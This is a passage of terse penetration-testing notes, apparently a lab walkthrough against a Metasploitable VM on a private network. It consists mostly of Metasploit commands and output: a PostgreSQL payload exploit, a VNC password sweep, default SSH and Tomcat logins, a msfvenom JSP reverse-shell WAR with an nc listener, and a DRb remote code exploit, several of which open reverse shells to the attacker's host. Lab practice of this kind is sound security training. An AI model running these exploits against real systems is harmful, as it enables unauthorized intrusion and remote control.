   21  linux/x86/shell/bind_ipv6_tcp_uuid                             normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID
Support (Linux x86)
   22  linux/x86/shell/bind_nonx_tcp                                  normal  No     Linux Command Shell, Bind TCP Stager
   23  linux/x86/shell/bind_tcp                                       normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   24  linux/x86/shell/bind_tcp_uuid                                  normal  No     Linux Command Shell, Bind TCP Stager with UUID Support
(Linux x86)
   25  linux/x86/shell/reverse_ipv6_tcp                               normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   26  linux/x86/shell/reverse_nonx_tcp                               normal  No     Linux Command Shell, Reverse TCP Stager
   27  linux/x86/shell/reverse_tcp                                    normal  No     Linux Command Shell, Reverse TCP Stager
   28  linux/x86/shell/reverse_tcp_uuid                               normal  No     Linux Command Shell, Reverse TCP Stager
   29  linux/x86/shell_bind_ipv6_tcp                                  normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   30  linux/x86/shell_bind_tcp                                       normal  No     Linux Command Shell, Bind TCP Inline
   31  linux/x86/shell_bind_tcp_random_port                           normal  No     Linux Command Shell, Bind TCP Random Port Inline
   32  linux/x86/shell_reverse_tcp                                    normal  No     Linux Command Shell, Reverse TCP Inline
   33  linux/x86/shell_reverse_tcp_ipv6                               normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

msf5 exploit(linux/postgres/postgres_payload) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp

msf5 exploit(linux/postgres/postgres_payload) > set lhost 192.168.31.154
lhost => 192.168.31.154
msf5 exploit(linux/postgres/postgres_payload) > exploi
^CInterrupt: use the 'exit' command to quit
msf5 exploit(linux/postgres/postgres_payload) > exploit

[*] Started reverse TCP handler on 192.168.31.154:4444
[*] 192.168.31.137:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/EkXHkKSu.so, should be cleaned up automatically
[*] Sending stage (36 bytes) to 192.168.31.137
[*] Command shell session 6 opened (192.168.31.154:4444 -> 192.168.31.137:36168) at 2019-09-19 18:41:45
-0400
```

vnc login

```
auxiliary/scanner/vnc/vnc_login
```

set rhosts ip

exploit

```
   - 192.168.31.137:5900 - Starting VNC login sweep
[!] 192.168.31.137:5900   - No active DB -- Credential data will not be saved!
[+] 192.168.31.137:5900   - 192.168.31.137:5900 - Login Successful: :password
[*] 192.168.31.137:5900   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/vnc/vnc_login) >
```

```
 vncviewer 192.168.31.137
Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password:
Authentication successful
Desktop name "root's X desktop (metasploitable:0)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 gr
```

x11

```
msf > use auxiliary/scanner/x11/open_x11
msf auxiliary(open_x11) > set rhosts 192.168.31.137
msf auxiliary(open_x11) > run
```

access denied

try

ssh -X -l msfadmin 192.168.31.137

woop!!

tomcat

login as tomcat tomcat

use war file to upload

```
 msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.31.154 LPORT=4444 -f war > shell.war
```

nc -lvp 4444

```
msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit(tomcat_mgr_upload) > set rhost 192.168.31.137
msf exploit(tomcat_mgr_upload) > set rport 8180
msf exploit(tomcat_mgr_upload) > exploit
```

port 8787

```
msf > use exploit/linux/misc/drb_remote_codeexec
msf exploit(drb_remote_codeexec) > set uri druby://192.168.31.137:8787
msf exploit(drb_remote_codeexec) > exploit
```

boom!!